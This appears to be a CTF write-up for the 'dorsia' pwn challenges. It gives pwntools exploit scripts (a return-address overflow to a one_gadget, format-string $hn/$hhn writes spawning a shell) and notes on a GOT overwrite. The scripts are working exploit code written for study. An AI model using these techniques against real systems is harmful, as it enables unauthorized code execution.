dorsia1
#!/usr/bin/env python2
from pwn import *
arch = "amd64"
filename = "dorsia1"
context(os="linux", arch=arch, log_level="debug")
content = 0
offset = 0x4d
# elf
#elf = ELF(filename)
# libc
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
sys_libc=libc.symbols['system']
ogg=[0x45226,0x4527a,0xf0364,0xf1207]
def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")
def main():
global io
if content == 0:
io = process("./" + filename)
else:
io = remote('dorsia1.wpictf.xyz',31338)
sys_addr=io.recvuntil('\n')
sys_addr=int(sys_addr,16)-765772
libcbase=sys_addr-sys_libc
ogg_addr=ogg[3]+libcbase
payload=b'a'*offset+p64(ogg_addr)
io.sendline(payload)
io.interactive()
main()
dorsia3
这道题用了不同的几种方式构造了payload
以及通过这道题更加深入了解了格式化字符串
用$hn, $hhn来代替 $n
优点:这样可以只打印少量的字符,便将地址构造出来,而如果直接用 $n的话有很大可能打印太多字符导致程序崩溃
缺点:空间地址随机化时,高低位的大小不确定,可能造成payload失效,需要多试几次
#!/usr/bin/env python2
from pwn import *
arch = "i386"
filename = "nanoprint"
context(os="linux", arch=arch, log_level="debug")
content = 0
offset = 0
# elf
elf = ELF(filename)
main_addr=elf.symbols['main']
printf_got=elf.got['printf']
# libc
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
def b(addr):
bk = "b *$rebase" + str(addr)
gdb.attach(io, bk)
success("attach")
def main():
global io
if content == 0:
io = process("./" + filename)
else:
io = remote("")
stack_addr=int(io.recv(10),16)
print(hex(stack_addr))
ogg_addr=int(io.recv(10),16) # libc2.27: &system-288-->ogg
print(hex(ogg_addr))
ret_addr=stack_addr+0x71
print(p32(ret_addr))
system_addr=ogg_addr+288
libcbase=system_addr-libc.symbols['system']
binsh_addr=libcbase+next(libc.search(b'/bin/sh'))
###payload_1_ogg###
#high=ogg_addr >> 16
#low=ogg_addr & 0xffff
#print(high)
#print(low)
offset=7
#payload=b'a'+p32(ret_addr)+p32(ret_addr+2)+b'%'+str(high-9).encode()+b'x%8$hn'
#payload+=b'%'+str(low-high).encode()+b'x%7$hn'
###payload_2_ogg###
#payload=b'a'+fmtstr_payload(7,{ret_addr:ogg_addr})
###payload_5_ogg###
ogg_1=ogg_addr&0xff
ogg_2=(ogg_addr&0xff00)>>8
ogg_3=(ogg_addr&0xff0000)>>16
ogg_4=(ogg_addr&0xff000000)>>24
payload = b'a' + p32(ret_addr) + p32(ret_addr + 1) + p32(ret_addr + 2) + p32(ret_addr + 3)
print(len(payload))
payload += b'%' + str(ogg_1 - 17).encode() + b'x%7$hhn'
payload += b'%' + str(ogg_2 - ogg_1).encode() + b'x%9$hhn'
payload += b'%' + str(ogg_3 - ogg_2).encode() + b'x%8$hhn'
payload += b'%' + str(ogg_4 - ogg_3).encode() + b'x%10$hhn'
###payload_3_sys_binsh###
#payload=fmtstr_payload(7,{ret_addr:system_addr})+fmtstr_payload(7,{ret_addr+8:binsh_addr})
#len>69
###payload_4_sys_binsh###
sys_low=system_addr & 0xffff
sys_hign=system_addr >>16
binsh_low=binsh_addr & 0xffff
binsh_hign=binsh_addr >>16
print(sys_low)
print(sys_hign)
print(binsh_low)
print(binsh_hign)
payload =b'a'+p32(ret_addr)+p32(ret_addr+2)+p32(ret_addr+8)+p32(ret_addr+10)
print(len(payload))
payload += b'%' + str(sys_low - 17).encode() + b'x%7$hn'
payload += b'%' + str(binsh_low - sys_low).encode() + b'x%9$hn'
payload += b'%' + str(sys_hign - binsh_low).encode() + b'x%8$hn'
payload += b'%' + str(binsh_hign - sys_hign).encode() + b'x%10$hn'
print(len(payload)) #ogg_1=33 ogg_2=60 sys_binsh_4=62
print(payload)
io.sendline(payload)
io.interactive()
main()
dorsia4
这道题只有大概的思路,但我看题解,好像还要找一些gadget,好像是要防止修改后程序正常运行,具体的还不太会
while ( 1 )
{
printf("%p giv i b\n", &system + 765772, envp, b, b_8, b_16, b_24, b_32, b_40, b_48, b_56, b_64);
__isoc99_scanf("%i %x", &i, &d);
result = i; // 知道sys_addr,用libc找到sys_libc
// 计算出libcbase,得到ogg_addr
if ( i > 69 )
break;
envp = a; // i为整形,负数溢出可以修改(a+69)(0x40c5)前的数据
a[i] = d; // printf_got_plt = 0x4018
// a = 0x4080
// d = -104
//
// a[]为char型,单字节写入即可
// 把printf_got_plt修改为ogg
}
return result;